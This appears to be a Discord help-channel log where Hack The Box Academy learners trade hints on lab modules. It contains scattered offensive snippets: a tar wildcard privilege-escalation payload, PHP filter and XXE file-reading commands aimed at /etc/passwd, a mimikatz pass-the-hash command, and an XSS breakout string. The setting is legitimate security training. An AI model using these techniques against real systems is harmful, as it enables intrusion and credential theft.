Hi guys, I've joined just moments ago, I'm a newbie in the community anyone wanna tell me what to do like the first thing i should do to get started

[dapper moth]

It’s best to research pivoting first

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[cold star]

Tried that it just repeats the command and does not copy

[dark hedge]

see the article above

[rugged crystal]

Okk

[cold star]

command like this na- Copy-Item "C:\virus1.exe" -Destination "C:\Users\svc_sql.INLANEFREIGHT\Documents" -ToSession $Session

?

[dapper moth]

Have you checked it inside the host?

Try transferring to Public

[cold star]

how can I? it just repeats whatever command I type like I type dir it also echos dir

[dapper moth]

It’s worldly readable and writable in default config

[cold star]

Okay, I will try it

[dapper moth]

You enter your PSSession and check the directory

[cold star]

That's the main problem due to shitty PsSession I can not do anything nor list of directories nor move or run cd command

[dapper moth]

In a partially interactive session as the one you have, you won’t see the transfer status

It should basically echo the command you ran

If you were inside the Host in a proper PowerShell session, it would display the status

[cold star]

but how will I able to use the tool even if it reaches the host? becuase it reflects back my commands and only a few commands like whoami and pwd work

[dapper moth]

Did you run Get-Command in your PSRemote Session to see what you’re allowed to run?

Also, you can try Invoke-Comannd to run commands remotely in a PSRemote Session

[cold star]

it just echos back the Get-Command and does not give any result

[cold star]

Okay I will try that

[dapper moth]

You can try transferring your caller and run it via Invoke-Command

[cold star]

Thanks, I will test these

[cold star]

Just one more question After I am done with ad module. I should start password attacks or pivoting module? (AD was my first htb module)

[icy dagger]

Advanced CSRF & XSS Exploitation. Do you happen to have any hints on this?

[dapper moth]

Idk what’s you level of knowledge

I went through all the basic stuff prior to getting to the more intermediate and advanced content

[icy dagger]

I actually made some progress but I am facing some issues with the SOP / CORS

[cold star]

I have just completed Red teaming path from try hack me (which was a waste of time)

[cold star]

okayy

[dapper moth]

But I’d go through the basics and construct a good foundation

If those 2 are the choices, Pivoting most definitely

[cold star]

Thank's for the suggestion

[clear seal]

What do you recommend the best user and password lists be for the password attacks module on the CPTS track? This might be a lot of waiting..

[vestal minnow]

I think you have a resource to download passw and user list

[icy dagger]

BTW, I found the Skills Assessment for this module easier than this particular section

[vernal tapir]

I agree

Skills Assessment was a breeze

[icy dagger]

Can I DM you for a nudge? I am feeling that I am really close to the solution

[shrewd vigil]

Hey all! 👋

I'm working on the Skills Assessment for "Information Gathering - Web Edition" and I'm a bit stuck. I don't want to post any spoilers in the channel...is there anyone here I can DM about it? I imagine it's probably just a simple thing that I'm missing 🙂

[shrewd vigil]

Ahh I figured it out haha. Nevermind! 😅

[jade trail]

hey im a little stuck on ffuf, im not getting any returns on my attempts and im not sure if im doing this right, im specificly trying GET request Fuzzing

[rustic sage]

can you ping the target, is domain name in /etc/hosts

[jade trail]

doesnt seem like it, i am able to do recursive fuzzing to find the address tree but i just get errors when trying to GET request anything

[rustic sage]

Can I see then cmds you're running, you can also DM me to avoid populating this channel

[magic onyx]

Hi! Can you help me? The VPN connection is fine, but there is no connection to the machines and ping nmap commands are not working. my MTU is 1500. How to solve this problem?

[worldly dirge]

sorry im forwarding cuz too tired to type it from scratch

[still edge]

someone have done the attacking enterprise network i am on the last question of external information gathering and none vhost seems to work so i guess the ...oh maybe i need to dig

the other host ?

[quick wraith]

Hey

[still edge]

hey

[still edge]

jsut to reply to myself i forgot or misspell the vhost

[fathom pendant]

@worldly dirge don't reveal module content for modules above tier 0 =_=

[clear seal]

man, this brute forcing in password attacks is for the birds. There must be something I over looked ... lol

[fathom pendant]

Don't attack ssh

[clear seal]

I guess i'm confused. We're not supposed to brute force SSH?

[mortal elbow]

I'm on the setting up module and I can't get the Windows VM back. Could someone help me understand how to get it back?

[fathom pendant]

step 0; enumeration

[fathom pendant]

the link they have no longer exists, you're better off just creating a vm using rufus to make the iso

[mortal elbow]

okay thank you

[clear seal]

does the username start with C ?

[fathom pendant]

?

[clear seal]

nvm

[fathom pendant]

i'm gonna take you a step back; enumeration in this context == scanning the target

This module (and a few others) tend to give you the end step but don't necessarily tell you how to get to that info

[clear seal]

gotcha, I think I know where this is going.

[clear seal]

Note: In order to complete the challenge questions, be sure to download the provided wordlists from the Resources at the top of the page Bruh...I totally did not see this at the end of the lesson...now I can do wtf I need to do lol

instead of scanning with wordlists that would take days to finish lol

[dapper moth]

Anyone completed the new Hashcat Mission?

[inner bluff]

Good evening, I'm doing the Vulnerable Services portion of the Windows Privilege Escalation module but for some reason after executing the PoC script it's giving a reverse shell for htb-student instead of SYSTEM

[dapper moth]

nvm, got it

[onyx halo]

Guys can someone help me to understand why the privesc on Pandora box via ||tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/***** (asterisk and --checkpoint-action=exec=sh shell.sh)|| doesn't work?

[cloud urchin]

Best to ask in #boxes. You will need to verify your account by following the instructions in #welcome to gain access to #boxes and most other channels.

[onyx halo]

TY, sorry about posting wrong channel

[cloud urchin]

no worries

[magic mango]

footprinting easy assessment. i have my keys, i've moved them, ive chmod them. still getting permission denied (publickey) what have i missed?

i did get a bad permissions from the id_rsa

[frosty crescent]

Quick question about PHP filters in LFI vs XXE (CBBH)

Payload from the LFI section:
php://filter/read=convert.base64-encode/resource=config

Payload from the XXE section:
php://filter/convert.base64-encode/resource=index.php

Now my question is why does one need read= and why does one need .php appended to the file?
Note that I'm not familiar with PHP so you may need to explain like I'm 5, thank you! 🙂

[mellow rapids]

Are lab machines require to have a VIP or even though I don't do tier0 I am able to access some?

[cloud urchin]

Academy is the educational platform with HTB. You can unlock content there by purchasing cubes or having a subscription that unlocks them. VIP is part of the platform that offers the various boxes etc. It's separate.

I think the only thing VIP+ gives you on Academy is time on the pwnbox.

[mellow rapids]

Currently have the student, but been considering the labs as well

[cloud urchin]

@brittle turret not what this discord is about.

@brittle turret Please read the #rules and #welcome.

[frosty crescent]

😂

[mellow rapids]

lol

[mellow rapids]

The reason I asked is because I hoped on yesterday and notice a couple of open machines but they did not require the VIP

[cloud urchin]

yeah there are some free ones i think

[mellow rapids]

Thank you for your help!

[slim meadow]

Quick question. I'm on the DNS footprinting module and I can answer the first three questions but the last asking what the fqdn of the host where the last octet ends in .203. I don't know how we arrived at the answer. any care to dm me? Sorry if this is the wrong place

[winter schooner]

Can you tell me how you chmod and then what command you used?

[tribal lark]

Did you use sudo ssh too and did you copy —-begin—- and —end— to your file but make sure it’s in a directory you have permission over to sometime that can be the issue

[cloud sinew]

Has anyone had any issues with the AD Enumeration & Attacks - Skills Assessment Part I? The target ip's url works for about 20 minutes, then my reverse shell fails and won't work again. I've spawned a new IP several times, and I switched vpn servers 4 times now. I don't have any other VPN's running, but this issue keeps persisting.

[leaden island]

yo guys im on

common application attacks

attacking SQL databases

ive connected to target's MSSQL using impacket mssqlclient.py

running select name from dbo.sysdatabases; dosent show any DBs

although when i use use msdb it switches databases

why databases not showing ?

[woven mortar]

Applications of AI in InfoSec-Skills Assessment. Locally my model is getting 90%, but this is what I get when I submit it.

[novel valve]

Where can I learn the CPU architectures for buffer overflows?
Is intro to binary exploitation enough stuff for that?

[cloud sinew]

The meme Emotional Damage is ringing very loudly atm xfreerdp /v:localhost:1234 /u:REDACTED /p:REDACTED /cert:ignore /drive:Shared,//home/joshuagraham/hackthebox
[02:34:02:281] [59884:59885] [ERROR][com.freerdp.core.connection] - Timeout waiting for activation
[02:34:02:287] [59884:59884] [ERROR][com.freerdp.core] - freerdp_abort_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_CANCELLED [0x0002000B]

[fathom pendant]

https://tenor.com/view/mansi-creative-khichdi-mansi-majithia-gif-20040378

[cloud sinew]

So I'm doing the AD skills assessment part 1 lab, and I've been struggling with the target machine for about 2 hours now. So far it's been working, but when I set up port forwarding in metasploit, and try to rdp into the MS01 machine, it keeps erroring out no matter what I try. Just very frustrated and demoralized at the moment😂

[cloud sinew]

Also I've switched VPN servers a few times prior to this to hopefully curb the Target IP from failing after about 20-30 minutes which so far that part has been working

[fathom pendant]

use the tcp vpn

[cloud sinew]

I have been I've been only using tcp vpn since I initially started having issues with rdping into window machines. Right now this commmand has just been hanging and I'm hoping for the best lol

xfreerdp /v:localhost:1234 /u:REDACTED /p:REDACTED /cert:ignore /drive:Shared,/home/joshuagraham/hackthebox

[fathom pendant]

try changing the MTU to 1200 instead of 1500

sudo ip link dev tun0 mtu 1200

[cloud sinew]

I'll try that, hopefully it works, and thank you for your help

[fathom pendant]

I don't have experience with forwarding through msf, I used ligolo

[cloud sinew]

I'll have to check that out, I've never heard of it

[fathom pendant]

If you get the underlying principles, it's way better

[cloud sinew]

I'm definitely going to look into that now! This has been a complete pain and I know once I complete this lab I'll probably remember every single command I've used this far😂

[fathom pendant]

ligolo basically works on a different layer so you're not having to use weird port forwarding techniques

the only port forwarding you typically need is to allow for multiple pivots

[cloud sinew]

Ahh ok that actually seems pretty interesting, I didn't know there was multiple ways you can get onto the MS01 machine

[fathom pendant]

multiple ways to pivot

also; i believe the question states to authenticate to, it doesn't specify RDP iirc

[cloud sinew]

That's actually a good point I didn't even think about that. This entire path has been the most challenging so far, but not having any professional IT experience I think I'm doing half decent, although I'm definitely going to have to go through all of these modules again before attempting the CPTS exam

[nova pivot]

Hey there guys, I have a question about hydra in a skill assessment :
I have been trying to bruteforce a password with a found user, I have had confirmation that the user is the good one, but for the life of me, I don't understand why hydra "times out" like this. I cannot finish one 1000words wordlist before it crashes out.

Is the machine "at fault" ? I've tried adding a longer wait time to mitigate a slower response time, but no success either

\ Multiple failed attempts
\ Am a dumbass who does not know how bash variables work : For the next person who will have this problem, '$USER' is actually $USER, while "$USER" will give out the content of the $USER variable
\ Problem solved ✅

[fallow monolith]

anybody who's done the TE.CL exercise ?

[digital sigil]

I have

[fallow monolith]

free for a DM ? either the lab is broken or my mind is xD

[digital sigil]

Ye

[civic fiber]

Can you someone help on this? I think my answer is correct. Android Fundamentals

• Native Code

What is the name of the function that returns the string inside the cpp file? (Format: FunctionName()). answer: ||stringFromJNI()||

https://academy.hackthebox.com/module/195/section/2182

[quaint trench]

Hie I am new to hack the box

Anybody can help me in how to do tasks module challenge etc etc

[wooden seal]

which module you are working on?

[quaint trench]

I just started using hack the box

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[wooden seal]

if you wanna do moduels tho
try doing this first https://academy.hackthebox.com/module/15/section/32

[quaint trench]

I have a query in exercise part

[civic fiber]

is ok I found the answer.

[wooden seal]

Tell module name and topic(sub module) and your query

[quaint trench]

Answer the question(s) below to complete this Section and earn cubes!

Target(s): Click here to spawn the target system!

• 5 Start the above target, copy the shown IP:PORT by clicking on them, and then paste them in your browser. What's the proof shown in the page?

I just copy paste in the browser but still saying wrong answer

[civic fiber]

I think you need to Connect VPN. and then browse the IP of the target system. You will get the answer.

[worldly dirge]

oh oops, sorry

thanks

[quaint trench]

I got the answer thank you

[quaint trench]

Completed this module can you help me which module should I do next

[round marten]

One minute you think that new Rebel Cracker badge is cool and you try to do the module and the next you're submitting a PR for hashcat

[cerulean grail]

So the the thing is that I'm not really sure how to proceed from a methodology standpoint. Here SMB was open so I should try discovering its version. would this necessarily the case on other technologies? And even here, SMBv1 is open but searching for "smbv1" in Metsaploit brings up no relevant results. I'm trying to understand how to approach these things instead of outright just solving this particular question.

I appreciate any feedback.

[paper bobcat]

https://app.hackthebox.com/starting-point . ftp -h answer doesnt work.

What is the command we need to run in order to display the 'ftp' client help menu? this is question

[icy dagger]

I did it... Christ, it was painful 🥵

[paper bobcat]

where should i complain that right answer doesnt work?

@novel matrix

[bright coral]

This is not the right answer. ftp does not have a -h switch

[paper bobcat]

ftp -h

doesnt work

[bright coral]

Because there is no -h for the ftp command

[paper bobcat]

oh

[bright coral]

you get the help output because it does not know how to interpret the -h. Depending on the version you are using it should say that in the very first line

[paper bobcat]

oh got it . those blog post gives wrong answer

[paper bobcat]

thanks

[median gale]

Could you give me a nudge

Did you use rockyou ?

[magic mango]

I used get to dl each file. Did cd .ssh and used touch to move them there.

[thorny kraken]

You could try Learning Process or Linux/Windows fundamentals

Looking at the Information Security Foundations path, this could be good to follow, i believe the first module you completed in this path anyway

[wooden seal]

dm

[dapper moth]

Sure DM

[azure lantern]

Hello, I am new. Do you guys know how to get started

To learn hacking

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[acoustic owl]

@azure lantern ^

[lucid grail]

Hello I just started learning . I am stuck in one question "Using what you learned in this section, determine the type of encoding used in the string you got at previous exercise, and decode it. To get the flag, you can send a 'POST' request to 'serial.php', and set the data as "serial=YOUR_DECODED_OUTPUT". Effort : I just found which type of encoder for this data from previous exercise and found out it was base64 and then decode it accordingly and put the result into solution box . But it is telling me wrong result. I don't know why it is getting wrong result. Could anyone please help me to fix the issue ?

[quaint trench]

Can I get the link something for what are you aiming to

[quaint trench]

Yes sure

[thorny kraken]

https://academy.hackthebox.com/module/details/9

[quaint trench]

Okay I will just go through

[thorny kraken]

Or enroll into information security foundations skill path, that way when you finish the module, you can click continue and it will send you to the next module

[elder matrix]

is it possible to send responder.py to a target machine that has no internet connection? its as if i need a connection to install it somehow

[thorny kraken]

You could base64 encode it then decode it on the target

[glass locust]

@quartz sundial here.

[elder matrix]

oh i can send the py file, it just needs dependencies

[minor crane]

anyone done the Escape box recently and tried the alternative approach? even when i execute the walkthrough commands i get an error trying to connect to mssql (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.)

[scarlet halo]

Hello ,

Can some one kindly help me I am stuck at Advanced Command Obfuscation :
Or if some one can confirm cause I tried the answer from the "ShowSolution" and did not work

[cloud urchin]

Best to ask in #boxes for box help

[cold star]

Scp

[devout temple]

Hello guys,

I am having some issues on this question:

API Attacks - Broken Authentication - Exploit another Broken Authentication vulnerability to gain unauthorized access to the customer with the email '[e-mail]'. Retrieve their payment options data and submit the flag.

I am exploiting the right endpoint, but every time I try to generate a OTP, I get ("SuccessStatus": false). I tried to do it authenticated and not authenticated.
Someone could help?

[vernal tapir]

Web Attacks > IDOR > Bypassing Encoded References

• I'm trying to to do the assessment, but when trying to use the scripts and even manual curl commands, I keep stumbling with "Contract Name is not defined."
  Appreciate any insight, thanks

[fresh wedge]

Can someone here give me a nudge with the file upload skill assessment pls? I cant locate my file i am using the correct date format i think but i keep getting a 404 error

[frosty crescent]

Off the top of my head, you need to read some source code... I will leave it at that

In the File Inclusion -> PHP Wrappers section, not sure why but the expect wrapper doesn't return anything even though it's enabled. I tried the curl command and a manual request through Burp and neither output anything back in the body, not sure why

[frosty crescent]

Just remembered what it is, you might need to read some documentation on date formats if you're not sure you've got the correct one :p

[fresh wedge]

i read the upload.php file i got the correct file location and the name of file format is correct but getting 404. i bypasses black and white list and got a successfull upload message. the server is giveing todays date when i use curl to check the date so no clue whats wrong

i know the difference beteen Y and y for php date if thats what you mean

[frosty crescent]

If you get a 404 then you don't have the correct file location, which means you probably don't have the correct date format

Let me know if you want me to DM you the specific answer

[grave estuary]

i am a new person into the field of ethical hacking, where can i discuss more about advices?

[forest zenith]

Im doing this part of password attacks

Passwd, Shadow & Opasswd

what is the password list that I should use?

[crystal pond]

What deep learning architecture, known for its ability to process sequential data like text by capturing long-range dependencies between words through self-attention, forms the basis of large language models (LLMs) that can perform tasks such as translation, summarization, question answering, and creative writing?

[fresh wedge]

ChatGPT

realy could use a hint for file upload skill assessment here

[wet arrow]

Module: Web Attacks
Page: Blind Data Exfiltration

Hi, I’m currently working with the XXEinjector tool and running into some issues. I’d like to share the command I’m using along with my xxe.req file (which includes the required headers and the XXEINJECT keyword) to get some help.

For some reason, the tool isn't working as expected — it just returns the help output, as if one of the parameters is incorrect. I’ve double-checked everything but still can’t get it to work.

Would it be okay to share my code and setup here for troubleshooting? Or is there someone I can directly reach out to for support?

[crystal pond]

Ok . i use chatgpt. and i always get "Transformer Architecture." and i put it in the answer box, but its wrong. whats now the answer?

[carmine trout]

hey guys

[frosty crescent]

just paste the command you're running

[wet arrow]

ruby XXEinjector.rb --host 10.10.15.250 --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter

This is the file at /tmp/xxe.req

POST /submitDetails.php HTTP/1.1
Host: 10.129.255.191
Content-Length: 126
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: /
Origin: http://10.129.255.191
Referer: http://10.129.255.191/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT

MyIP 10.10.15.250
Target: 10.129.255.191

[frosty crescent]

what's the command output?

[wet arrow]

Displays the help menu

XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications.

Options:
--host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)
--file Mandatory - file containing valid HTTP request with xml. You

which is the same as the README file

[rustic sage]

@frosty crescent

Join..

[frosty crescent]

try --host=10.10.15.250 (= instead of space)

[wet arrow]

wow

I spend hours lol

thank you

[frosty crescent]

np

[green shuttle]

In login bruteforcing module skill assessment 2 i am bruteforcing the ftp user locally with multiple list created from cupp and username anarchy thousands of words and nothing came up any hint ?

[wintry chasm]

Who can hack

[rustic sage]

@green shuttle join..

[rustic sage]

Click the link abov

[rustic sage]

I can

[green shuttle]

Did it

[wintry chasm]

For free ?

[rustic sage]

Yeah

Have you joined @wintry chasm ?

[wintry chasm]

Yep

[rustic sage]

Okay

[frosty crescent]

can we ban these guys or

[acoustic thorn]

fr only a matter of time😪

[green shuttle]

thought they were a part of the support team but they are just a skam

[acoustic thorn]

Having an issue double pivoting in msf, portfwd add -R -l 8081 -p 1234 -L <attack-ip> isn't working as intended. The double pivot host seems to be connecting to the first pivot host but msf isn't able to catch the shell

[green shuttle]

they want a wallet or something

[acoustic thorn]

Classic grift they won't last long here

[chilly finch]

Has anyone gotten a "ERROR][com.freerdp.core.transport] - [transport_default_write]: BIO_should_retry returned a system error 32: Broken pipe"

Error when trying to xfreerdp3 into an endpoint?

For context I'm doing a CDSA module in the "Windows attack and defense" path

[devout temple]

Module: API Attacks
Page: Broken Authentication

I am exploiting the right endpoint, but every time I try to generate a OTP, I get ("SuccessStatus": false). I tried to do it authenticated and not authenticated.
Someone could help?

If someone have the same problem in the future.**
The email is case sensitive, don`t change it.

[acoustic thorn]

I think I get this error when my user does not have rdp permissions. Might be confusing this with another error though

[chilly finch]

But but I'm using the credentials it's giving me ugh

[clever copper]

Guys any program that helps new ppl like cheat engine?

[acoustic thorn]

Are you able to use a different authentication method like winrm

[storm elk]

Thanks @acoustic thorn

@green shuttle if you joined that discord, it’s a scam server

[chilly finch]

I can try that. I am just confused. I am doing the same thing I've done with all the modules before this but can't rdp into this new target

Okay at least now the error changed to "[ERROR][com.freerdp.core.transport] - [transport_check_fds]: transport_check_fds: transport->ReceiveCallback() - STATE_RUN_FAILED [-1]
"

[acoustic thorn]

Sometimes legitimate users are not allowed to rdp. You can validate that your credentials are correct using crackmapexec or nxc if your target has an open smb/ldap port

[chilly finch]

Oh good freaking grief

I forgot to add /cert:ignore to the command line

Sorry for bothering

[acoustic thorn]

Lol sometimes its the simple things no worries

[green shuttle]

yup joined and got out they told me i needed a wallet to get the access i wondered if that was a new feature in HTB

[storm elk]

No no, long story short, if you need HTB support, there is only 1 source

and thats the website

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[green shuttle]

i know i was kidding

[storm elk]

glad you are safe

[green shuttle]

can you help me with a question regarding a module

[storm elk]

@golden halo please read #welcome and #rules

Sure, dm me with the module and everything you tried

[chilly finch]

I think it's a mix of that and I might be attempting to connect too quickly to these boxes. Made it through that previous module, and now am working on a different module and getting the same rdp issues

Might need to give these windows boxes a few more minutes before trying to mess with them

[somber canopy]

Hey, I am currently working on Skill ass part 1 on Windows privesc module and a little help needed here:) I have a question regarding second task. Specifically regarding kernel enumeration. But don't wanna spam here, anyone dm?

[marsh echo]

dm me if want 🙂

[wild prism]

Hello everyone please help can I see a legit spammer who create all kind of hacking tools on office 365?

[dark hedge]

what?

[fresh wedge]

Can i DM someone about the file upload skill assessment?

frustrated from all the 404 errors im getting/

[marsh echo]

did you manage to bypass the filter?

[fresh wedge]

yes client side and backend but just getting a 404 error once i uploast my file

when i browse to execute cmd= i get the 404 error

[marsh echo]

use another way to abuse it if you have the right extension that allows you to do malicious things

[lucid grail]

Here is modified message for Java script encoding and decoding . Please let me know if anyone knows how to resolve the problem . I am keep getting same message but don't know why . I don't know where I made mistake . : echo -n "N2gxNV8xNV9hX3MzY3IzN19tMzU1NGcz" | base64 -d

7h15_15_a_s3cr37_m3554g3"

curl -s -X POST -d '{"serial" : "7h15_15_a_s3cr37_m3554g3"}' http://94.237.123.126:35472/serial.php
N2gxNV8xNV9hX3MzY3IzN19tMzU1NGcz

[marsh echo]

||curl -s url -X POST -d "serial=secret"||

[jagged comet]

Why can't I talk in the general tabm

And why am I Sage McVerify 😭

[desert bay]

Hello, sorry if this question sounds stupid, but I've just started with HTB, and it's day 3 of my cybersecurity learning journey. I have a question about the "Information Security Foundations" path skills. Where can I ask about this in the forum? I'm currently trying to set up ParrotOS via Pwnbox. According to my information, Pwnbox should be accessible via the settings, but I don't have it in the menu. Thx! 😊

[storm elk]

All the answers can be found in #rules and #welcome

[jagged comet]

😦

[fathom pendant]

you don't "set up ParrotOS via pwnbox" pwnbox uses ParrotOS

[desert bay]

Okay thx! But where do I find Pwnbox. It's not in the settings.

[tropic jay]

Hello, I have a question. I'm just getting started on the platform. I'm currently in the Linux Fundamentals module, in the System Information section. The practice exercise says I should connect to the VPN and then connect via SSH. I can see the username and password, but I don't see the port. How can I connect in order to answer the questions?

[tropic jay]

Hehehehe, I’m connected now — I was entering the wrong IP 😛

[tribal lark]

I was wondering if there was someone I could talk to about the file transfer module Linux subsection if there could be a change to this section

[agile flint]

Hello guys

[cloud urchin]

@barren geyser No. This is not a hacker for hire server.

[marsh echo]

you found only phar.jpeg as extension filter bypass ?

[mystic wadi]

Stack-based buffer overflow on Linux (xc2 in memory)...
Throwing this in because it took me way too long to figure out:

• python3's print works differently than the presumably python2 this module was written in.
• in order to make this code work, you have to use sys.stdout.buffer.write() instead of print and give it bytes, not str.

reference site: https://stackoverflow.com/questions/42615124/exploit-development-in-python-3

[waxen totem]

Or... just use python2

Otherwise using pwn library is what most do instead

[mystic wadi]

giving folks the info because it was never answered in the forums

[noble sand]

✅ mission Rebel cracker 🔓🔑😎

[fresh wedge]

i changed to shell.php.png. file uploaded but still got 404

[marsh echo]

you don't have the right extension search well

ah yes and when you make intruder uncheck the small box

[marsh echo]

you are fuzz the content-type for see what acceptable ?

[icy sorrel]

hey all, is this the right place to ask questions if im feeling stuck in htba and need a nudge in the right direction? Not necesarilly looking straight for the answers

Im in the getting started module, and ive hit a blocker in the section that it teaches how to use metasploit to run exploits on vulnerable software. ive identified a wordpress 5.6.1 running on the target server, but im stuck from there as googling vulnerabilites brings me too much information and searching "exploit wordpress 5.6.1" or something simillar on metasploit doesnt seem to bring my anything usefull :c

[cloud urchin]

Have you tried looking around the target website itself for clues?

[icy sorrel]

Yup, It says the plugin name and a directory that it stores backups to. I´ve tried searching for the plugin name in metasploit, found 1 result but its an auxiliary. I´ve run it, and it gave me a txt file with alot of information that i think are usernames that it tested

[cloud urchin]

So you found a working exploit that reads files?

Maybe you could read something else.. like the flag

[icy sorrel]

So thats the part that im kind of stuck at... metasploit lists it as an auxiliary, but i cant find an "exploit" with the plugin name

i dont know if im too focused on trying to find something that explicitly says exploit or if auxiliaries are just as good

[cloud urchin]

You are using an exploit to read files from the machine.

[icy sorrel]

ohh understood. so pretty much everything, whether is says exploit or auxiliary, are exploits?

[cloud urchin]

no not always

but this module allows you to read files from the system.. what is the question asking you to do?

[icy sorrel]

it asks me to find a flag, the webpage hints that the flag is in a directory in wordpress

[cloud urchin]

ok, so it wants you to read a flag. you have an exploit to read files.

[icy sorrel]

my instance died just as i think i was about to solve it hahaha. imma crack my head a bit on this and if im still stuck after alot of attempts ill be chatting here again, allthough im pretty sure i should have it solved

[icy sorrel]

ty for the help! you set me in the right direction but in the end one of the main reasons i couldnt solve the problem was becuase in the exploit i was configuring it wrong. I wasnt using the "set filepath" option, instead I was using the "set targeturi" and placing the file directory there and i had no results (because i hadnt configured what I needed it to search for... hahaha). thanks again 🙂

[viral narwhal]

Hello, I'm having an issue with running nmap through proxychains. I'm following the instructions exactly and can access things on the internal network such as through curl or firefox, but when I try to run an nmap scan it says all ports are non responsive. I am using the -Pn and -sT flags for nmap. Any suggestions on what I can fix?

[waxen totem]

try --proxy if using proxychains doesn't work

[viral narwhal]

Where would the --proxy go? I don't see it anywhere in the nmap manual

[waxen totem]

https://nmap.org/ncat/guide/ncat-proxy.html

[viral narwhal]

My command is nmap 172.16.5.35 -Pn -sT -v --proxy socks4://127.0.0.1:9050, I'm connecting to the host through ssh and exposing port 9050 with ssh -D 9050, and I'm still getting no ports open from nmap. Do you see anything wrong with my commands?

[frosty crescent]

In RFI > Remote File Inclusion (RFI)
I can't get SMB file inclusion to work even though my share works (I can connect to it with smbclient) and every command also returns:
Notice: Undefined variable: p2 in /var/www/html/index.php on line 48

So I think there might be an issue with the server? Not sure

Actually I did LFI on the server to read index.php and it does try to echo an undefined variable on line 48....

[waxen totem]

Try using socks5

[cloud urchin]

@sturdy citrus Please do not post content from modules above tier 0.

@plain hare Please do not post content from modules above tier 0.

[waxen totem]

someone here had a question about xss phishing can't remember who it was but now that I'm on my laptop:
you need to escape the context of the img tag using techniques from previous sections. Probably what you're looking for:
||'><script>document....</script><!--||

[cold star]

Hey Guys, I am doing pivoting tunneling module in the first section after introduction I have to rdp into a machine after dynamic port forwarding xfreerdp is not working

[storm elk]

If you’re seeing a black screen, try pressing enter

[cold star]

No I am facing time out error

[cold star]

Rdesktop is working but saying wrong creds becuade it don't support NLA

[storm elk]

Try with remina

[cold star]

Okay let me try

[storm elk]

I’m not sure about why it times out, maybe someone else has more info about why 😅

[cold star]

Ah okay, anyways thanks for help

[cold star]

Okay so I managed to get the flag not the intented way but after setting up your dynamic port forwarding and proxychains You can use evil-winrm to connect to windows but still rdp is giving timeouts even after creating kerbros file

[waxen totem]

Probably due to having to pivot, you could increase the timeout threshold or use TCP

[hardy sparrow]

Is there anyway to hide the cpts attempts blocked banner

It is mildly bothering me

[cold star]

Thanks for the suggestion will try it

[rustic sage]

aye some legend can help me with "logrotate" page on linux privilege escalation Module

please >?>?>

[waxen totem]

You can use a custom ublock rule

[desert bay]

Where do I find on the HTB Homepage the Pwnbox. For my knowledge it should be on the settings. Thx!

[cloud urchin]

The pwnbox is available within sections that have a target you can spawn and interact with.

[desert bay]

Okay thx. I am making here my first steps in HTB with the path skills.

[wooden seal]

the thing i do is delete that html

[quick wraith]

hi

[round marten]

I'm doing the Evasion module, but I think my issue has nothing to do with the course and is a general C# issue. I've made sure to create a console app and build in "release" mode. It "works" and solves the first section, but it compiles to a collection of files with a .dll being the one I had to work on evasion with (not the .exe ). Obviously noone is creating implants that looks like this. Is there a button somewhere I should have ticked?

[celest forge]

in pass-the-hash modules there is a optional question ask "Optional: John is a member of Remote Management Users for MS01. Try to connect to MS01 using john's account hash with impacket. What's the result? What happen if you use evil-winrm?. Mark DONE when finish."

i am not getting this question it telling us to connect same as who we connected like david using "```
./mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64f12cddaa88057e06a81b54e73b949b /domain:inlanefreight.htb /run:powershell.exe" exit"-
or through linux

[waxen totem]

Either way is fine, it's better if you can try both ways so you get to practice them

[celest forge]

i tried using mimikatz but got the shell of admin not of user

and from the rdp connection we have taken first from there we have to connect to john or what?

[waxen totem]

So you're supposed to use evil-winrm or to spawn a powershell session because of his permissions

[celest forge]

from kali?

[waxen totem]

No, from the current machine, because unless you know some pivoting you won't be able to connect to it from kali I don't think, unless I'm not remembering correctly

[celest forge]

ok got it

[narrow mist]

Quick question, I did the Backup and Restore page in the Linux Fundamental course, and I found this command. Which doesn't make a lot of sense to me, cronjob is a johntheripper script present on the pwnbox, shouldn't this be crontab?

Because that is what I ran in order to replicate the instructions on my machine, and that worked as a charm. (maybe a note to add /usr/bin/ to crons path in order to reach rsync would've been useful)

[little terrace]

a dns A record does not indicate that it doesnt have subdomains and therefore should be dnsenum-ed always

is this correct? sorry the DNS foot printing module was very confusing for me to understand what was going on

[bright coral]

yes, should be crontab. Best to post that in #1234357888114364508

[narrow mist]

I'll do that, thank you for the second opinion ❤️

[runic rampart]

Hi everyone,
Malicious Document Analysis:Skills Assessment - Maldoc Analysis
If anyone has experience with this can, I would really appreciate your help!

[waxen totem]

Not necessarily, it just depends on what DNS information the server allows you to enumerate, for instance if you're allowed a full zone transfer dnsenum is not 100% necessary

It also depends on the engagement evasion requirements wherein a more evasive test would warrant using quieter tools and methods

[ancient niche]

ey guys good afternoon. Someone can help me with module AI please?

[zinc halo]

hi.. not sure if anyone has seen this before

i used the commands from academy and only changed the ip, but it does not seem to work

[narrow mist]

are you 100% sure you did not delete a bracket or a ' somewhere

[zinc halo]

I’m like 1000%sure

Coz I only changed the IP bit

[bright coral]

Run it from cmd instead

[zinc halo]

Oh they are different?

[cold star]

Increasing the timeout worked

[zinc halo]

I saw it in the guide saying run it in the powershell that’s why I did that

[bright coral]

In your case the variables get evaluated in the parent shell, so the command breaks.

[zinc halo]

Ah I see, Okie I’ll take another look, thank you!!

[open patrol]

Hey

[cold star]

Hey guys, I have created a dynamic tunnel with pivot host so I can connect to the rdp and execute my payload and I have also created a reverse tunnel but after executing I am not receiving shell here are the commands I used

